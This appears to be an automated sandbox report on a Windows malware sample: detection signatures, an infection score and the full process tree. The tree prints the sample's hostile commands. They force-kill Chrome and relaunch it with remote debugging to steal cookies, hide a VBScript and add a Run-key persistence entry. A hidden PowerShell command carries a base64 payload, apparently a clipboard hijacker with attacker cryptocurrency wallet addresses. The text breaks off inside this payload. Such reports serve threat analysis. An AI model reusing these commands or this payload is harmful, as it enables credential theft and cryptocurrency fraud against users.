Overview

overview

10

Static

static

10

2026-08-12...om.exe

windows10-2004-x64

9

2026-08-12...om.exe

windows11-ltsc_2024-x64

9

Resubmissions

12/08/2026, 17:45

260812-wby6paztfz3

12/08/2026, 16:49

260812-vbml8ayxht10

Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 16:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-12_9fa862efb430441ae22fa59b7620b1a3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  • Size 34.1MB
  • Sample260812-vbml8ayxht
  • SHA256 fd68171362dbc7d0d1639dcf07d7fa778e6bc7de418aa314cd587c7ae22418f4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwarecredential_accessdefense_evasiondiscoveryexecutioninstallerpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Detects executables containing URLs to raw contents of a Github gist 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Uses browser remote debugging 2 TTPs 14 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

    installer
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-12_9fa862efb430441ae22fa59b7620b1a3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-12_9fa862efb430441ae22fa59b7620b1a3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5780
    • C:\Users\Admin\AppData\Local\Temp\2026-08-12_9fa862efb430441ae22fa59b7620b1a3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-12_9fa862efb430441ae22fa59b7620b1a3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5336
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2704
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff95018c728,0x7ff95018c734,0x7ff95018c740
          4⤵
            PID:3944
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1716 /prefetch:2
            4⤵
              PID:4484
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1876 /prefetch:11
              4⤵
              • System Time Discovery
              PID:6004
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:13
              4⤵
                PID:2956
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3200
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:1940
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3980 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:7112
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:14
                4⤵
                  PID:5776
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:14
                  4⤵
                    PID:4488
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:5132
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:4292
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:4556
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:14
                    4⤵
                      PID:1892
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2680
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2880
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2972
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:14
                      4⤵
                        PID:1432
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:1
                        4⤵
                        • Uses browser remote debugging
                        PID:4864
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:14
                        4⤵
                          PID:1932
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:1
                          4⤵
                          • Uses browser remote debugging
                          PID:6688
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:1
                          4⤵
                          • Uses browser remote debugging
                          PID:6416
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=316,i,9122778546102652518,4409528690821576192,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:9
                          4⤵
                          • Uses browser remote debugging
                          PID:4100
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmp854tqbrg.ps1
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6068
                      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_5336.exe
                        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_5336.exe
                        3⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of WriteProcessMemory
                        PID:6792
                        • C:\Users\Admin\AppData\Local\Temp\is-BCZ7NXH7EC.tmp\ServiceUpdate_5336.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-BCZ7NXH7EC.tmp\ServiceUpdate_5336.tmp" /SL5="$D0070,21901201,1208320,C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_5336.exe"
                          4⤵
                          • Creates a file in the Startup directory
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • System Location Discovery: System Language Discovery
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of WriteProcessMemory
                          PID:5836
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c taskkill /f /im TickTick.exe
                            5⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1168
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im TickTick.exe
                              6⤵
                              • System Location Discovery: System Language Discovery
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4656
                          • C:\Program Files (x86)\TickTick\TickTick.exe
                            "C:\Program Files (x86)\TickTick\TickTick.exe"
                            5⤵
                            • Executes dropped EXE
                            PID:6456
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\iVElGCofBm.vbs""
                        3⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:6828
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\iVElGCofBm.vbs"
                          4⤵
                          • Views/modifies file attributes
                          PID:1896
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "iVElGCofBm" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\iVElGCofBm.vbs"" /f"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4944
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "iVElGCofBm" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\iVElGCofBm.vbs"" /f
                          4⤵
                          • Adds Run key to start application
                          PID:4248
                      • C:\Windows\SYSTEM32\wscript.exe
                        wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\iVElGCofBm.vbs
                        3⤵
                        • Executes a VBScript file via the Windows Script Host.
                        • Suspicious use of WriteProcessMemory
                        PID:4176
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMACgAKACQAYQBkAGQAeQAgAD0AIABAAHsACgAKACAAIAAgACAAIgBiAHQAYwAiAD0AIgBiAGMAMQBxAGYAcAB0ADYAbABqAG0ANwBqADIAZQBkAHMAagBuADYAZgA4AGEAcQBzAHQAOQBxAHUANgB4ADUANQBkAGcAeQBmAHoAMwAwAGgAdwAiADsACgAKACAAIAAgACAAIgBlAHQAaAAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBsAHQAYwAiAD0AIgBsAHQAYwAxAHEAZgBjAHIAcABtAHgAdwA3ADQAMgBsAGMAZQBmADQAMwA1ADUAMgA2AGwAdwBkAHEAeQBuAHQAOABlAHIAcwBtAHQANAB5AGgAYQA3ACIAOwAKAAoAIAAgACAAIAAiAHUAcwBkAHQAIgA9ACIAVABVAEMAcgBhADcAYwA0ADgAYgB5AEwANAB4AEgAZgBaAFcAbgBYAGcAbQBKAEQAdQBQAHcAOQB1AHAAVABQAHoAMgAiADsACgAKACAAIAAgACAAIgB0AHIAeAAiAD0AIgBUAFUAQwByAGEANwBjADQAOABiAHkATAA0AHgASABmAFoAVwBuAFgAZwBtAEoARAB1AFAAdwA5AHUAcABUAFAAegAyACIAOwAKAAoAIAAgACAAIAAiAHMAbwBsACIAPQAiADUARQBXAHYATABLAFcAagA2ADYAcgBzAFYAdwBkAG8AVQBqAFQAeQBnAHUAagBqAFMAZgB1AHMARQBYAGYAVABSAGIAaAB2AFMANQBUAEIAaQAxAE0AeQAiADsACgAKACAAIAAgACAAIgB4AHIAcAAiAD0AIgByADMATgBWAEcAOQBQAEQAaABTAEoAZgBWAFIAdQBjAHYAVABoAFcAUwBQAGQAMQBRAEoAcgB2ADIAYwBuADIAZABvACIAOwAKAAoAIAAgACAAIAAiAHQAbwBuACIAPQAiAFUAUQBBADQAYQBsAGgAaAB2AGgAVABLAHEAeAB4AHUAdgB3AEMAeAByAHMAUgBsAEMASQBTAG0AQwBrADMAbQBLAFAAUAAwAHEARQBwAEwAcwB0AHIAcABtAHgAQgBpACIAOwAKAAoAIAAgACAAIAAiAGQAbwBnAGUAIgA9ACIARABHAGYANgBpAEoAZAA5AGIAZwBTAHQARwBkAEIASAA3AHYAeQB1AGsAcwBXAG0AZQA2AEYAQQB0AG4AbQBwAG8AdQAiADsACgAKACAAIAAgACAAIgBhAGQAYQAiAD0AIgBhAGQAZAByADEAcQA5AHUAYQBkAHMAcQBzAHUAcgB5AGwAagBqAG0AdABzAGEAbgBmAHcAMwB6ADgAdABzAHcAcQBhAGQAOQB3AGQAdQB2AGoAegA5ADMAawBxAHAAaABmAG4AcABzADAAcQBuADMAZABxAGMAbAAyAG4AawBhADgAZgB4AHkAcQB4AGoAOQB4AHQAcgB4AHcANwBwAGoAcQB4AGsAdQBjADUAbQAyAG4AcABoAGsAZgBoADcAOABzADQAawA5ADMAdgA3ACIAOwAKAAoAIAAgACAAIAAiAHMAaABpAGIAIgA9ACIAMAB4ADgAZQA5ADcANwBjADAAMABFAGYAZQBGADAAZQAzAEMAOQBhADAANAA0AEMAMAA2ADQAMQBlADIANgA0ADgARgA3ADcAMwAxADQAMgA1AGQAIgA7AAoACgAgACAAIAAgACIAcABlAHAAZQAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBiAG4AYgAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBzAHUAaQAiAD0AIgAwAHgANAA5ADYAYwA1AGEAZABkAGYAMQA2ADYAZgA2ADcAOQAxAGEAMwBlAGUAYgAwAGIAMQBkADcANwBmAGQANgA1ADEAMABmADQANQA2ADIANQA2AGUANAAzAGEAOQBiADEAZAAwAGMANABhADgAOABiADMAMQA0AGYAZAA5ADcAZQAiADsACgAKACAAIAAgACAAIgB4AGwAbQAiAD0AIgBHAEEATQBCAEwAUwBQAEoASgBOAEMAUgBFAFcANwAyAFoARABDADIAQQBPAFoASgBMAEQANgBSAE4ATwBJAE4AWABHAE8ARwBMAFAASQBRAFAANgBOADMAQQA1AFUARABPAEMAWgBMAEUAQQA0ADQAIgA7AAoACgAgACAAIAAgACIAYgBjAGgAIgA9ACIAcQB6ADcAagB1ADAAOAA2AHAAMgAwAHMAdwBhAGgAcgByAGUAYQBoAGcANQBmADkANQBoAGgAZwBtAHUAdwBjAHoAcQBoAG4AbgA3AHAAbgBwAGQAIgAKAAoAfQAKAAoAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIAAgACAAdAByAHkAewAKACAAIAAgACAAIAAgACAAIAAkAHYAPQAkAG4AdQBsAGwACgAgACAAIAAgACAAIAAgACAAaQBmACgAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBDAG8AbgB0AGEAaQBuAHMAVABlAHgAdAAoACkAKQB7AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AEcAZQB0AFQAZQB4AHQAKAApAC4AVAByAGkAbQAoACkACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAoACEAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAdAApACkAewAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKA